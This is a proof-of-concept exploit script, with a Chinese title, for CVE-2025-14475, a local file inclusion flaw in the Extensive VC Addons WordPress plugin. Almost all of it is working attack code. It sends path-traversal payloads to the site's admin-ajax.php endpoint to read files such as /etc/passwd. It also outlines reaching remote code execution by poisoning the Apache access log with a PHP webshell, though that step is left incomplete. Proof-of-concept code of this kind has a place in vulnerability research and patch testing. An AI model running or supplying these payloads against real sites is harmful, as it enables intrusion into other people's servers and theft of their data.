CVE-2025-14475: Extensive VC Addons WordPress插件本地文件包含漏洞

import requests import sys # CVE-2025-14475 PoC - Local File Inclusion in Extensive VC Addons WordPress Plugin # Target: WordPress site with Extensive VC Addons plugin <= 1.9.1 def exploit_lfi(target_url, file_path='../../../../../../../../etc/passwd'): """ Exploit the LFI vulnerability via AJAX action 'extensive_vc_init_shortcode_pagination' Args: target_url: Base URL of the vulnerable WordPress site file_path: Path to the file to include (default: /etc/passwd) Returns: Content of the included file """ # WordPress AJAX endpoint ajax_url = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php" # Payload with path traversal to include arbitrary files data = { 'action': 'extensive_vc_init_shortcode_pagination', 'shortcode_name': file_path, 'extensive_vc_pagination': '1' } try: response = requests.post(ajax_url, data=data, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" def exploit_rce(target_url): """ Remote Code Execution via LFI + Log Poisoning Steps: 1. Poison PHP session log with webshell 2. Include the log file via LFI 3. Execute arbitrary commands """ ajax_url = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php" # Step 1: Poison the access log with PHP code log_poison_payload = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" # Note: This requires ability to write to log files (Apache access_log) # Step 2: Include the poisoned log file log_file_path = "../../../../../../../../var/log/apache2/access.log" cmd_url = f"{target_url}/wp-admin/admin-ajax.php?action=extensive_vc_init_shortcode_pagination&shortcode_name={log_file_path}&cmd=id" try: response = requests.get(cmd_url, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-14475.py <target_url> [file_path]") print("Example: python cve-2025-14475.py http://target.com ../../../../../../etc/passwd") sys.exit(1) target = sys.argv[1] file_to_read = sys.argv[2] if len(sys.argv) > 2 else '../../../../../../../../etc/passwd' print(f"[*] Targeting: {target}") print(f"[*] Attempting to read: {file_to_read}") result = exploit_lfi(target, file_to_read) print("\n[+] Result:") print(result[:2000] if len(result) > 2000 else result)